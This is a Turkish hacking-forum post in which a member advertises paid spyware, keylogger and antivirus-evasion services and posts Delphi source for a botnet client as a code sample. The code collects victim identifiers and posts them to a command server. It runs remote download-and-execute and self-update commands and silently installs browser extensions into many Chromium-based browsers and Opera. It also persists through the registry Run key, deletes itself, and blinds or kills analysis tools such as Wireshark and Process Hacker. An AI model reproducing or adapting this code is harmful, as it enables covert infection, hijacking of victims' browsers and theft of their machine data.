• 23-10-2014, 03:06:47
    #19
    tbtlb adlı üyeden alıntı: mesajı görüntüle
    arkadaslar merhaba,

    C/C++ Assembler ve Delphi dillerinde Masaüstü ve Mobil uygulamalar geliştiriyorum.

    internetten veri çekme, soket tabanli multithreaded client/server uygulamalari, json/xml/text data/video/image/audio işleme, Tarayıcı İşlemleri (Ana Sayfa Değiştirme Programları, Eklenti Kurulumu Yapan Programlar), Undetecting, Spyware, KeyLogger ile ilgili işler yapiyorum..

    referanslarim mevcut, PM araciligi ile talep edebilirsiniz.

    dogrudan programlama(C/C++/ASM/Delphi/VisualBasic/JavaScript/VBScript/PHP/ASP) egitimi almak isteyenler, ilgilenenler,soru sormak isteyenler ve benimle calismak isteyenler PM atabilir.

    kabul ettigim odeme turleri,
    paypal, misli.com, nesine.com, garantibankasi, isbankasi

    Yazmış Olduğum Örnek Bir Kod Parçacığı...

    program Join;
    
    
    //{$DEFINE DEBUG_MODE_ON} // Hata Duzeltmeleri İcin;   bu satiri kapatirsan siyah ekran gider.
    
    //{$DEFINE DEMO_VERSION}
    {$IFDEF DEBUG_MODE_ON}
      {$APPTYPE CONSOLE} // Siyah Ekran Gozukmesi Icin Gereklidir.
    {$ELSE}
      {$APPTYPE GUI} // Siyah Ekrani Gizlemek İcin;
    {$ENDIF}
    
    
    {$IFDEF DEBUG_MODE_ON}
    {$E .dll}
    {$ELSE}
    {$E .dll}
    {$ENDIF}
    
    {$WARNINGS OFF}
    {$HINTS OFF}
    {$R Generator.RES}
    
    {
      [+] Eklenen Ozellik[*] Duzeltilen Sorun
      [-] Cikarilan Ozellik
      [#] Gelistirilen Ozellik
    
      Guncelleme - 30.07.2014
        + Dosya İle Birleştirme Özelliği Eklendi.
        + Registry Key ve Installation Name değiştirebilme Özelliği Eklendi.
        + Builder Özelliği Eklendi
        + Simge Değiştirebilme Özelliği Eklendi.
        + UPX ike Sıkıştırma Özelliği Eklendi.
        
      Guncelleme - 15.07.2014
        + CloudFlare Destegi Eklendi.
        * CloudFlare gibi protected sunuculardan dosya cekim isleminde hata verip programin kirilmasina sebep olan problem duzeltildi.
        + User-Agent Eklendi
        + Redirection Eklendi
        + WireShark Anti Debugger Bypass Ozelligi Eklendi
        * Programin hata vermesine sebebiyet veren (SaveToFile) Free edilemeyen MemoryStream sorunu duzeltildi.
        * SaveToFile Fonksiyonu WinAPI kullanilarak improve edildi.
        + Demo Version Destegi Eklendi.
    
      Eklenenler - 01.07.2014
        + Chrome görev yöneticisi ekranını otomatik kapatabilme özelliği eklendi.
        * Paneldeki Sorun Düzeltildi.
        * Programin komut almamasına sebep olan problem düzeltildi.
        * Uygulama installation dizini tekrar düzeltildi.
        # Bazı fonksiyonlar geliştirildi. Bilgisayar bilgisi alan fonksiyon düzenlendi.
    
      Guncelleme - 03.07.2014
        * Process Sonlandirmadaki Yetkilendirme Problemi Duzeltildi.
        * Installation Islemi Threadindaki Olusan Hata Duzeltildi.
        - Taskkill /im /f process* fonksiyonu programdan cikarildi.
    }
    
    
    uses
      Windows,
      IdHTTP,
      Classes,
      IniFiles,
      shFolder,
      Math,
      ShellAPI,
      TlHelp32,
      ImageHlp,
      ShlObj,
      SysUtils,
      uRC4 in 'uRC4.pas',
      uPrefs in 'uPrefs.pas';
    
    const
        CMD_CLOSESERVER        = 1000;
        CMD_UNINSTALLFILE      = 1001;
        CMD_UPDATESERVER       = 1002;
        CMD_INSTALLEXTENSION   = 1003;
        CMD_RESETBROWSERS      = 1004;
        CMD_DOWNLOADANDEXECUTE = 1005;
    
    const
        NONE              = $00; //Blank number
        INET_USERAGENT    = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0';
        INET_REDIRECT_MAX = 10;
    
    Type
        TCustomDownloadFile = record
          SavePath : string;
        end;
        TBotConfig = record
          Mutex : String;
          VictimName : string;
          VictimComputerName : string;
          VictimCountry : string;
          VictimLanguage : string;
          VictimOS : string;
          VictimVersion : string;
          SettingsFile : string;
          SettingsIniFile : TIniFile;
          ProductKey : string;
          CommandURL : string;
          InstallDirectory,
          InstallName,
          InstallDirectoryPath,
    
          RegistryName : string;
        End;
    
      TInfo = RECORD
        URL_ADDR  : ARRAY [0..255] OF CHAR;
        BINDER   : BOOL;
        FILE_NAME : ARRAY [0..255] OF CHAR;
    
        // BROWSER
        FIREFOX     : BOOL;
        OPERA       : BOOL;
        CHROME      : BOOL;
        EXPLORER    : BOOL;
        SAFARI      : BOOL;
        PALEMON     : BOOL;
        MAXTHON     : BOOL;
        KMELEON     : BOOL;
        DRAGON      : BOOL;
        AVANT       : BOOL;
        YANDEX      : BOOL;
        TORCH        : BOOL;
        IRON         : BOOL;
        CHROMIUM     : BOOL;
        SUPERBIRD    : BOOL;
        CHROMECANARY : BOOL;
    
        //OTHER
        MELT        : BOOL;
        PERSISTANCE : BOOL;
        ENCRYPT     : BOOL;
        INSTALL     : BOOL;
    
        //REGISTRY
        KEY         : ARRAY [0..255] OF CHAR;
        PROGRAMNAME : ARRAY [0..255] OF CHAR;
      END;
    
    
    
    
        TBrowser = record
          // Tarayici Bilgileri;
          Firefox_Path,
          Firefox_Config,
          Firefox_Ext,
          Chrome_Path,
          Chrome_Config,
          Chrome_Ext,
          Yandex_Path,
          Yandex_Config,
          Yandex_Ext,
          ComodoDragon_Path,
          ComodoDragon_Config,
          ComodoDragon_Ext,
          Torch_Path,
          Torch_Config,
          Torch_Ext,
          Maxthon_Path,
          Maxthon_Config,
          Maxthon_Ext,
          Iron_Path,
          Iron_Config,
          Iron_Ext,
          Chromium_Path,
          Chromium_Config,
          Chromium_Ext,
          SuperBird_Path,
          SuperBird_Config,
          SuperBird_Ext,
          ChromeCanary_Path,
          ChromeCanary_Config,
          ChromeCanary_Ext,
          Opera_Path,
          Opera_Config,
          Opera_Ext : string;
    
          // Yuklenmis mi?
          Firefox_Installed,
          Chrome_Installed,
          Yandex_Installed,
          ComodoDragon_Installed,
          Torch_Installed,
          Maxthon_Installed,
          Iron_Installed,
          SuperBird_Installed,
          ChromeCanary_Installed,
          Chromium_Installed,
          Opera_Installed : Boolean;
    
        End;
    
    
    Const
      Parser : String = '~';
      CurrentVersion : string = '0.9.9.2';
      StartUpPath : string = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\';
    var
      BotConfig : TBotConfig;
      INFO      : TInfo;
      
    Procedure DemoVersion;
    begin
      {$IFDEF DEMO_VERSION}
        MessageBox(0,'DEVAM_ICIN_ILERI_BAS','DEMO_VERSION',MB_OK OR MB_ICONINFORMATION);
      {$ENDIF}
    end;
    
    Procedure DebugPrompt(pszData : string);
    begin
      //OutputDebugStringW(PWideChar(WideString(pszData)));
      //Writeln(pszData);
      //Writeln(pszData);
      {$IFDEF DEBUG_MODE_ON}
         Writeln(pszData)
      {$ENDIF}
    end;
    
    function KillTask(ExeFileName: string): Integer;
    const
      PROCESS_TERMINATE = $0001;
    var
      ContinueLoop: BOOL;
      FSnapshotHandle: THandle;
      FProcessEntry32: TProcessEntry32;
    begin
      Result := 0;
      FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
      ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
      while Integer(ContinueLoop) <> 0
       do begin
              if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
                UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
                UpperCase(ExeFileName))) then
                Result := Integer(TerminateProcess(
                                  OpenProcess(PROCESS_TERMINATE,
                                              BOOL(0),
                                              FProcessEntry32.th32ProcessID),
                                              0));
               ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
          end;
      CloseHandle(FSnapshotHandle);
    end;
    
    procedure DetectChromeTaskManager;
    var
        guiInfo : TGUIThreadInfo;
        WindowName : string;
        arrWindow : array[0..255] of char;
    begin
    
        while True Do
        begin
            guiInfo.cbsize := sizeof(TGUIThreadInfo);
            GetGUIThreadInfo(0,guiInfo);
            ZeroMemory(@arrWindow,SizeOf(arrWindow));
            GetWindowText(guiInfo.hwndActive,arrWindow,sizeof(arrWindow));
            WindowName := trim(string(arrWindow));
    
            if  (
    			  (WindowName = 'Görev Yöneticisi - Google Chrome') or
    			  (WindowName = 'Task Manager - Google Chrome') or
    			  (WindowName = 'Task Manager - Comodo Dragon') or
    			  (WindowName = 'Görev Yöneticisi - Comodo Dragon') or
    			  (WindowName = 'Yandex görev yöneticisi') or
    			  (WindowName = 'Task Manager Yandex') or
    			  (WindowName = 'Task Manager - Iron') or
    			  (WindowName = 'Görev Yöneticisi - Iron') or
    			  (WindowName = 'Task Manager - Superbird') or
    			  (WindowName = 'Görev Yöneticisi - Superbird') or
    			  (WindowName = 'Görev Yöneticisi - Torch') or
    			  (WindowName = 'Task Manager - Torch')
    			)
    		then begin
               DebugPrompt(WindowName + ' Tespit Edildi ve KAPANDI');
               CloseWindow(guiInfo.hwndActive);
            end
    			  else   if (WindowName = 'Fiddler Web Debugger') or // Kill Debuggers;
                     (Pos('rocess Explorer',WindowName)>0)    or
                     (Pos('rocess Hacker',WindowName)>0)
    					then begin
                      EnableWindow(guiInfo.hwndActive,false);
                      ShowWindow(guiInfo.hwndActive,SW_HIDE);
    						   end
                   else if (Pos('Wireshark',WindowName)>0)
                        then begin
                                KillTask('Wireshark.exe');
                             end;
            Sleep(1000);
    
        end;
    
    end;
    
    procedure Str2File(sData,sPath:  string);
    var
      hFile:    THandle;
      dWritten: DWORD;
    begin
        DebugPrompt('KAYIT YERI : ' + sPath);
        hFile := CreateFile(PChar(sPath), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
        if hFile <> 0
         then begin
            SetFilePointer(hFile, 0, nil, FILE_BEGIN);
            WriteFile(hFile, sData[1], Length(sData), dWritten, nil);
          end;
          CloseHandle(hFile);
        DebugPrompt('KAYIT EDILDI!');
    end;
    
    Function AddToRegistry(RegKey : HKey;dType : Cardinal;SubKey,SingleKey,Value : String) : Boolean;
    VAR
      Key : HKey;
    Begin
     Result := False;
     if RegOpenKeyEx(RegKey,PChar(SubKey), 0, KEY_WRITE, Key) = ERROR_SUCCESS
      then begin
              RegSetValueEx(Key, PAnsiChar(SingleKey), 0,dType, PChar(Value),Length(Value)); // The 1 is for the terminating 0 (PChar)
              RegCloseKey(Key);
              RegCloseKey(RegKey);
           end;
    End;
    
    
    function Url2File(data : string) : string;
    begin
      Result := StringReplace(data,'/','\',[rfReplaceAll]);
    end;
    
    
    function GetCustomPath(PathIndex : Integer) : string;
    var
      arrPath : array[0..255] of char;
    begin
       ZeroMemory(@arrPath,SizeOf(arrPath));
       case PathIndex of
         5 : begin  GetTempPath(SizeOf(arrPath),@arrPath); end;  // TEMP
         6 : begin  SHGetSpecialFolderPath(0,arrPath,CSIDL_APPDATA,false); end;  // App DATA
         7 : begin  SHGetSpecialFolderPath(0,arrPath,CSIDL_LOCAL_APPDATA,false); end;  // Local App DATA
       end;
    
       result := IncludeTrailingBackSlash(Trim(string(arrPath)));
    end;
    
    
    function GenerateRandomText(iLen : Integer): string;
    var
         i : Integer;
    begin
        Randomize;
        Result := '';
        for i := 0 to iLen
         do begin
              Result := Result + Chr( RandomRange(65,90) );
            end;
    end;
    
    function GetUserInfo(Index : Integer) : String;
    var
        arrData : array [0..255] of char;
        hSize : Cardinal;
    begin
      ZeroMemory(@arrData,SizeOf(arrData));
      hSize := SizeOf(arrData);
      FillChar(arrData,SizeOf(arrData),#0);
      case Index of
      0 : begin GetComputerName(arrData,hSize); end; // computername
      1 : begin GetUserName(arrData,hSize); end; // username
      2 : begin  // country Info
            Windows.GetLocaleInfo(LOCALE_USER_DEFAULT,LOCALE_SISO3166CTRYNAME,arrData,SizeOf(arrData))
          end;
      3 : begin // language
             VerLanguageName(GetSystemDefaultLCID,arrData,SizeOf(arrData));
          end;
      end;
    
      Result := string(Trim(string(arrData)));
      Result := StringReplace(Result,' ','_',[rfReplaceAll]);
      Result := StringReplace(Result,'.','_',[rfReplaceAll]);
      Result := StringReplace(Result,',','_',[rfReplaceAll]);
      Result := StringReplace(Result,'~','_',[rfReplaceAll]);
      Result := StringReplace(Result,'$','_',[rfReplaceAll]);
      Result := StringReplace(Result,'#','_',[rfReplaceAll]);
      Result := StringReplace(Result,'*','_',[rfReplaceAll]);
      Result := StringReplace(Result,'{','_',[rfReplaceAll]);
      Result := StringReplace(Result,'}','_',[rfReplaceAll]);
      Result := StringReplace(Result,'[','_',[rfReplaceAll]);
      Result := StringReplace(Result,']','_',[rfReplaceAll]);
      Result := StringReplace(Result,'(','_',[rfReplaceAll]);
      Result := StringReplace(Result,')','_',[rfReplaceAll]);
      Result := StringReplace(Result,'+','_',[rfReplaceAll]);
      Result := StringReplace(Result,'%','_',[rfReplaceAll]);
      Result := StringReplace(Result,'<','_',[rfReplaceAll]);
      Result := StringReplace(Result,'>','_',[rfReplaceAll]);
      Result := StringReplace(Result,'|','_',[rfReplaceAll]);
      Result := StringReplace(Result,'?','_',[rfReplaceAll]);
      Result := StringReplace(Result,'-','_',[rfReplaceAll]);
      if Length(Result) = 0 then Result := 'Unknown';
      DebugPrompt('Info:'+IntToStr(Index)+ '---' +Result);
    end;
    
    function InternetDownloadFile(pszUrl : string;Execute: Boolean;HasParams : String):TCustomDownloadFile;
    var
        hDownloadSocket : TIdHTTP;
        stream : TMemoryStream;
    begin
        Result.SavePath := GetCustomPath(5) + ExtractFileName(Url2File(pszUrl));
        If FileExists(Result.SavePath)
         then begin
                  DeleteFileW(PWideChar(WideString(Result.SavePath)));
              end;
    
        DebugPrompt('URL ADRESİ : ' + pszUrl);
        stream := TMemoryStream.Create;
        hDownloadSocket := TIdHTTP.Create(nil);
        hDownloadSocket.request.userAgent := INET_USERAGENT;
        hDownloadSocket.redirectMaximum   := INET_REDIRECT_MAX;
        hDownloadSocket.handleRedirects   := INET_REDIRECT_MAX<>NONE;
        DebugPrompt('URL Adresi :  ' + pszUrl);
        hDownloadSocket.Get(pszUrl,Stream);
        Stream.position := 0 ;
    
        If not FileExists(Result.SavePath)
         then begin
                Stream.SaveToFile(Result.SavePath);
                Stream.Free;
              end;
        if Execute = true
         then begin
                DebugPrompt(Result.SavePath);
                ShellExecuteA(0,'OPEN',PAnsiChar(Result.SavePath),PAnsiChar(HasParams),Nil,SW_SHOW);
              end;
    
    end;
    
    Procedure Melt(OldFile :String);
    var
      BatData : String;
      BatFile : String;
    Begin
      BatData :=':start'+#13#10+
                'ping -n 1 localhost'+#13#10+
                'del' + ' "' + OldFile + '"'+#13#10+
                'if exist' + ' "' + OldFile + '" ' + 'goto start'+ #13#10+
                'del %0';
                
      BatFile:=IncludeTrailingBackSlash(GetCustomPath(5)) + 'Sil.bat';
      Str2File(BatData,BatFile);
      ShellExecuteA(0, 'open', PAnsiChar(BatFile), nil, nil, SW_HIDE);
    End;
    
    procedure Uninstall;
    begin
      AddToRegistry(HKEY_CURRENT_USER,REG_SZ,StartUpPath,BotConfig.RegistryName,'');
      AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,StartUpPath,BotConfig.RegistryName,'');
      Melt(ParamStr(0));
      ExitProcess(0);
    end;
    
    function StringToUnicode(sString:String):String;
    var
      i:integer;
    begin
      Result := '';
      for i := 1 to Length(sString) do begin
        Result := Result + sString[i] + #0;
      end;
    end;
    
    procedure InstallFile;
    var
      pCurPath:Pointer;
      strPath : String;
      ServerMutex : THandle;
    begin
    
      AddToRegistry(HKEY_CURRENT_USER,REG_SZ,StartUpPath,BotConfig.RegistryName,BotConfig.InstallDirectoryPath);
      AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,StartUpPath,BotConfig.RegistryName,BotConfig.InstallDirectoryPath);
    
      strPath := BotConfig.InstallDirectoryPath;
      strPath := StringToUnicode(strPath);
      if lstrlenW(@strPath[1]) <> 0
        then begin
                GetMem(pCurPath,(MAX_PATH * 4));
                if pCurPath <> nil
                 then begin
                          GetModuleFileNameW(0,pCurPath,(MAX_PATH * 4));
                          if lstrcmpiW(pCurPath,@strPath[1]) <> 0
                             then begin
                                      if CopyFileW(pCurPath,@strPath[1],False)
                                      then begin
                                              if ShellExecuteW(0,nil,@strPath[1],nil,nil,SW_SHOW) >= 32
                                                 then begin
                                                        ExitProcess(0);
                                                      end;
                                           end;
                                  end;
                          FreeMem(pCurPath);
                     end;
             end;
    
        ServerMutex := CreateMutex(nil,False,pchar(String(BotConfig.Mutex)));
        if GetLastError = ERROR_ALREADY_EXISTS
         then begin
                CloseHandle(ServerMutex);
                ExitProcess(0);
              end;
    end;
    
    procedure OpenBrowser;
    begin
      if ShellExecuteW(0,nil,'Chrome.exe',nil,nil,SW_SHOW) >= 32
        then begin
                DebugPrompt('Chrome Calisti');
             end
        else if ShellExecuteW(0,nil,'Firefox.exe',nil,nil,SW_SHOW) >= 32
        then begin
                DebugPrompt('FireFox Calisti');
             end
        else if ShellExecuteW(0,nil,'Browser.exe',nil,nil,SW_SHOW) >= 32
        then begin
                DebugPrompt('Yandex Calisti');
             end
        else if ShellExecuteW(0,nil,'Opera.exe',nil,nil,SW_SHOW) >= 32
        then begin
                DebugPrompt('Opera Calisti');
             end
        else if ShellExecuteW(0,nil,'Dragon.exe',nil,nil,SW_SHOW) >= 32
        then begin
                DebugPrompt('Comodo Dragon Calisti');
             end
        else if ShellExecuteW(0,nil,'iexplore.exe',nil,nil,SW_SHOW) >= 32
        then begin
                DebugPrompt('Internet Explorer Calisti');
             end
        else begin
              ShellExecuteA(0,'OPEN',PAnsiChar('http://facebook.com'),'',Nil,SW_SHOW);
             end;
    end;
    
    procedure ResetBrowsers;
    var
        strBrowserList : TStringList;
        i : Integer;
    begin
      strBrowserList := TStringList.Create;
      strBrowserList.Clear;
      // Tarayicilari Kapat
      with strBrowserList
       do begin
              Add('firefox.exe');
              Add('chrome.exe');
              Add('yandex.exe');
              Add('iexplore.exe');
              Add('browser.exe');
              Add('dragon.exe');
              Add('opera.exe');
              Add('iron.exe');
              Add('superbird.exe');
              Add('torch.exe');
          end;
    
      for i := 0 to strBrowserList.Count - 1
      do begin
            DebugPrompt('Oldurulen Tarayici : ' + strBrowserList.Strings[i]);
            KillTask(strBrowserList.Strings[i]);
         end;
    end;
    
    
    function CheckExtensionIsInstalled(Url,Path : String) : Boolean;
    begin
    
      Result := False;
      if BotConfig.SettingsIniFile.ReadString('SETTINGS','LastExtension','')<>Url
      then begin
              BotConfig.SettingsIniFile.WriteString('SETTINGS','LastExtension',Url);
              Result := False;
           end
      else
           begin
              DebugPrompt('Bu Eklenti Zaten Yüklenmiştir...');
              Result := True;
           end;
    end;
    procedure InstallExtension(pszData : string);
    var
      Key,Value,ExtensionURL : string;
      Browser : TBrowser;
      ExtName : string;
    begin
      // Eklenti Kur
    
      ExtensionURL := Copy(pszData,1,Pos(Parser,pszData)-1);
             Delete(pszData,1,Length(ExtensionURL)+1);
    
      Key := Copy(pszData,1,Pos(Parser,pszData)-1);
             Delete(pszData,1,Length(Key)+1);
      Value := Copy(pszData,1,Pos(Parser,pszData)-1);
    
      if CheckExtensionIsInstalled(ExtensionURL,Browser.Chrome_Ext + ExtName) = True
      then begin
             Exit;
           end;
    
      DebugPrompt('ExtensionURL:'+ExtensionURL);
      DebugPrompt('Key:'+Key);
      DebugPrompt('Value:'+Value);
    
      Browser.Chrome_Path      := GetCustomPath(7) + 'Google\Chrome\User Data\Default\Extensions\';
      Browser.Chrome_Config    := GetCustomPath(7) + 'Google\Chrome\User Data\Default\Preferences';
      MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.Chrome_Path)));
      Browser.Chrome_Installed := FileExists(Browser.Chrome_Config);
      Browser.Chrome_Ext := IncludeTrailingBackSlash(Browser.Chrome_Path + Key);
      MakeSureDirectoryPathExists(PAnsiChar(Browser.Chrome_Ext));
      DebugPrompt(Browser.Chrome_Ext);
    
      Browser.Yandex_Path      := GetCustomPath(7) + 'Yandex\YandexBrowser\User Data\Default\Extensions\';
      Browser.Yandex_Config    := GetCustomPath(7) + 'Yandex\YandexBrowser\User Data\Default\Preferences';
      MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.Yandex_Path)));
      Browser.Yandex_Installed := FileExists(Browser.Yandex_Config);
      Browser.Yandex_Ext := IncludeTrailingBackSlash(Browser.Yandex_Path + Key);
      MakeSureDirectoryPathExists(PAnsiChar(Browser.Yandex_Ext));
      DebugPrompt(Browser.Yandex_Ext);
    
      Browser.ComodoDragon_Path      := GetCustomPath(7) + 'COMODO\Dragon\User Data\Default\Extensions\';
      Browser.ComodoDragon_Config    := GetCustomPath(7) + 'COMODO\Dragon\User Data\Default\Preferences';
      MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.ComodoDragon_Path)));
      Browser.ComodoDragon_Installed := FileExists(Browser.ComodoDragon_Config);
      Browser.ComodoDragon_Ext := IncludeTrailingBackSlash(Browser.ComodoDragon_Path + Key);
      MakeSureDirectoryPathExists(PAnsiChar(Browser.ComodoDragon_Ext));
      DebugPrompt(Browser.ComodoDragon_Ext);
    
      Browser.ChromeCanary_Path      := GetCustomPath(7) + 'Google\Chrome SxS\User Data\Default\Extensions\';
      Browser.ChromeCanary_Config    := GetCustomPath(7) + 'Google\Chrome SxS\User Data\Default\Preferences';
      MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.ChromeCanary_Path)));
      Browser.ChromeCanary_Installed := FileExists(Browser.ChromeCanary_Config);
      Browser.ChromeCanary_Ext := IncludeTrailingBackSlash(Browser.ChromeCanary_Path + Key);
      MakeSureDirectoryPathExists(PAnsiChar(Browser.ChromeCanary_Ext));
      DebugPrompt(Browser.ChromeCanary_Ext);
    
      Browser.Chromium_Path      := GetCustomPath(7) + 'Chromium\User Data\Default\Extensions\';
      Browser.Chromium_Config    := GetCustomPath(7) + 'Chromium\User Data\Default\Preferences';
      MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.Chromium_Path)));
      Browser.Chromium_Installed := FileExists(Browser.Chromium_Config);
      Browser.Chromium_Ext := IncludeTrailingBackSlash(Browser.Chromium_Path + Key);
      MakeSureDirectoryPathExists(PAnsiChar(Browser.Chromium_Ext));
      DebugPrompt(Browser.Chromium_Ext);
    
      Browser.Torch_Path      := GetCustomPath(7) + 'Torch\User Data\Default\Extensions\';
      Browser.Torch_Config    := GetCustomPath(7) + 'Torch\User Data\Default\Preferences';
      MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.Torch_Path)));
      Browser.Torch_Installed := FileExists(Browser.Torch_Config);
      Browser.Torch_Ext := IncludeTrailingBackSlash(Browser.Torch_Path + Key);
      MakeSureDirectoryPathExists(PAnsiChar(Browser.Torch_Ext));
      DebugPrompt(Browser.Torch_Ext);
    
      Browser.SuperBird_Path      := GetCustomPath(7) + 'SuperBird\User Data\Default\Extensions\';
      Browser.SuperBird_Config    := GetCustomPath(7) + 'SuperBird\User Data\Default\Preferences';
      MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.SuperBird_Path)));
      Browser.SuperBird_Installed := FileExists(Browser.SuperBird_Config);
      Browser.SuperBird_Ext := IncludeTrailingBackSlash(Browser.SuperBird_Path + Key);
      MakeSureDirectoryPathExists(PAnsiChar(Browser.SuperBird_Ext));
      DebugPrompt(Browser.SuperBird_Ext);
    
      Browser.Opera_Path      := GetCustomPath(6) + 'Opera Software\Opera Stable\Extensions\';
      Browser.Opera_Config    := GetCustomPath(6) + 'Opera Software\Opera Stable\Preferences';
      MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.Opera_Path)));
      Browser.Opera_Installed := FileExists(Browser.Opera_Config);
      Browser.Opera_Ext := IncludeTrailingBackSlash(Browser.Opera_Path + Key);
      MakeSureDirectoryPathExists(PAnsiChar(Browser.Opera_Ext));
      DebugPrompt(Browser.Opera_Ext);
    
      with InternetDownloadFile(ExtensionURL,false,'')
        do begin
    
               ExtName := ExtractFileName(SavePath);
               DebugPrompt(#13#10#13#10);
               DebugPrompt('YAZILACAK YER : ' + Browser.Chrome_Ext + ExtName);
               DebugPrompt('NEREDEN : ' + SavePath);
    
               DebugPrompt('Browserlar Resetleniyor..');
               ResetBrowsers;
               DebugPrompt('Browserlar Resetlendi.');
               Sleep(5000);
    
               DebugPrompt('Chrome_Ext : ' + Browser.Chrome_Ext + ExtName);
               CopyFile(PansiChar(SavePath),PAnsiChar(Browser.Chrome_Ext + ExtName),False);
               Str2File(GenerateChromePreferences(Value,Key,Browser.Chrome_Ext + ExtName), Browser.Chrome_Config);
    
               DebugPrompt('Yandex_Ext : ' + Browser.Yandex_Ext + ExtName);
               CopyFile(PansiChar(SavePath),PAnsiChar(Browser.Yandex_Ext + ExtName),False);
               Str2File(GenerateChromePreferences(Value,Key,Browser.Yandex_Ext + ExtName), Browser.Yandex_Config);
    
               DebugPrompt('ComodoDragon_Ext : ' + Browser.ComodoDragon_Ext + ExtName);
               CopyFile(PansiChar(SavePath),PAnsiChar(Browser.ComodoDragon_Ext + ExtName),False);
               Str2File(GenerateChromePreferences(Value,Key,Browser.ComodoDragon_Ext + ExtName), Browser.ComodoDragon_Config);
    
               DebugPrompt('Torch_Ext : ' + Browser.Torch_Ext + ExtName);
               CopyFile(PansiChar(SavePath),PAnsiChar(Browser.Torch_Ext + ExtName),False);
               Str2File(GenerateChromePreferences(Value,Key,Browser.Torch_Ext + ExtName), Browser.Torch_Config);
    
               DebugPrompt('Opera_Ext : ' + Browser.Opera_Ext + ExtName);
               CopyFile(PansiChar(SavePath),PAnsiChar(Browser.Opera_Ext + ExtName),False);
               Str2File(GenerateChromePreferences(Value,Key,Browser.Opera_Ext + ExtName), Browser.Opera_Config);
    
               DebugPrompt('ChromeCanary_Ext : ' + Browser.ChromeCanary_Ext + ExtName);
               CopyFile(PansiChar(SavePath),PAnsiChar(Browser.ChromeCanary_Ext + ExtName),False);
               Str2File(GenerateChromePreferences(Value,Key,Browser.ChromeCanary_Ext + ExtName), Browser.ChromeCanary_Config);
    
               DebugPrompt('Chromium_Ext : ' + Browser.Chromium_Ext + ExtName);
               CopyFile(PansiChar(SavePath),PAnsiChar(Browser.Chromium_Ext + ExtName),False);
               Str2File(GenerateChromePreferences(Value,Key,Browser.Chromium_Ext + ExtName), Browser.Chromium_Config);
    
               DebugPrompt('SuperBird_Ext : ' + Browser.SuperBird_Ext + ExtName);
               CopyFile(PansiChar(SavePath),PAnsiChar(Browser.SuperBird_Ext + ExtName),False);
               Str2File(GenerateChromePreferences(Value,Key,Browser.SuperBird_Ext + ExtName), Browser.SuperBird_Config);
    
              DebugPrompt('Tarayici Calistiriliyor..');
              OpenBrowser;
              DebugPrompt('Tarayici Calistirildi.');
              Exit;
          end;
    
    end;
    
    procedure UpdateServer(pszNewFile : string);
    begin
      // Server Guncelle
      with InternetDownloadFile(pszNewFile,True,'')
        do begin
              ExitProcess(0);
           end;
    end;
    
    
    
    procedure CheckCommands(Data : string);
    var
      CommandID : Integer;
      Params    : String;
      IsCommandApplied : Boolean;
    begin
      Data := Trim(Data);
      Delete(Data,1,Pos(':',Data));
    
      IsCommandApplied := False;
      if BotConfig.SettingsIniFile.ReadString('SETTINGS','LastCommandHash','')<>Data
      then begin
              BotConfig.SettingsIniFile.WriteString('SETTINGS','LastCommandHash',Data);
              IsCommandApplied := True;
           end;
    
      if IsCommandApplied = false
      then begin
            DebugPrompt('Bu Komut Daha Önceden Zaten Uygulanmış');
            Exit;
           end;
    
      Data := HexToStr(Trim(Data));
    
       CommandID := StrToIntDef(Copy(Data,1,Pos(Parser,Data)-1),0);
       Delete(Data,1,Length(IntToStr(CommandID))+1);
    
    
       case CommandID of
         CMD_CLOSESERVER : 
         begin
            ExitProcess(0);
         end;
         CMD_UNINSTALLFILE :
         begin
            Uninstall;
         end;
         CMD_UPDATESERVER :
         begin
            DebugPrompt(Data);
            UpdateServer(Data);
         end;
         CMD_RESETBROWSERS :
         begin
             ResetBrowsers;
             OpenBrowser;
         end;
         CMD_INSTALLEXTENSION :
         begin
            InstallExtension(Data);
         end;
    
         CMD_DOWNLOADANDEXECUTE :
         begin
          InternetDownloadFile(Data,True,'');
         end;
    
       end;
    
    
    
    end;
    
    function Decrypt(St: string): string;
    var
      i: integer;
      a: byte;
    begin
      Result := '';
      for i := length(St) downto 1 do begin
        A := ord(St[i]);
        result := result + char(a+1);
      end;
    end;
    
    
    
    procedure ReadCommands;
    var
        Socket: TIdHTTP;
        lstParams : TStringList;
        strResponse : string;
    begin
        lstParams := TStringList.Create;
        lstParams.Clear;
        lstParams.add('vKey='+BotConfig.ProductKey);
        lstParams.add('uID='+BotConfig.VictimName);
        lstParams.add('cID='+BotConfig.VictimComputerName);
        lstParams.add('vCountry='+BotConfig.VictimCountry);
        lstParams.add('vLang='+BotConfig.VictimLanguage);
        lstParams.add('vVer='+BotConfig.VictimVersion);
        lstParams.add('vOS='+BotConfig.VictimOS);
        while True
          do  begin
                try
                  Socket:= TIdHTTP.Create(nil);
                  Socket.request.userAgent:= INET_USERAGENT;
                  Socket.redirectMaximum  := INET_REDIRECT_MAX;
                  Socket.handleRedirects  := INET_REDIRECT_MAX<>NONE;
                  Socket.Port := 80;
                  strResponse := Socket.Post(BotConfig.CommandURL,lstParams);
                except on e : Exception
                  do begin
                      DebugPrompt(E.Message);
                     end;
                end;
                DebugPrompt('KOMUT OKUNDU:'+strResponse);
                CheckCommands(strResponse);
                strResponse:='';
                Sleep(10000);
              end;
    end;
    
    
    var
        Msg : TMSG;
        ServerMutex,
        threadTaskManager,
        threadChromeTaskManagerControl,
        threadReadCommands,
        threadInstallServer : THandle;
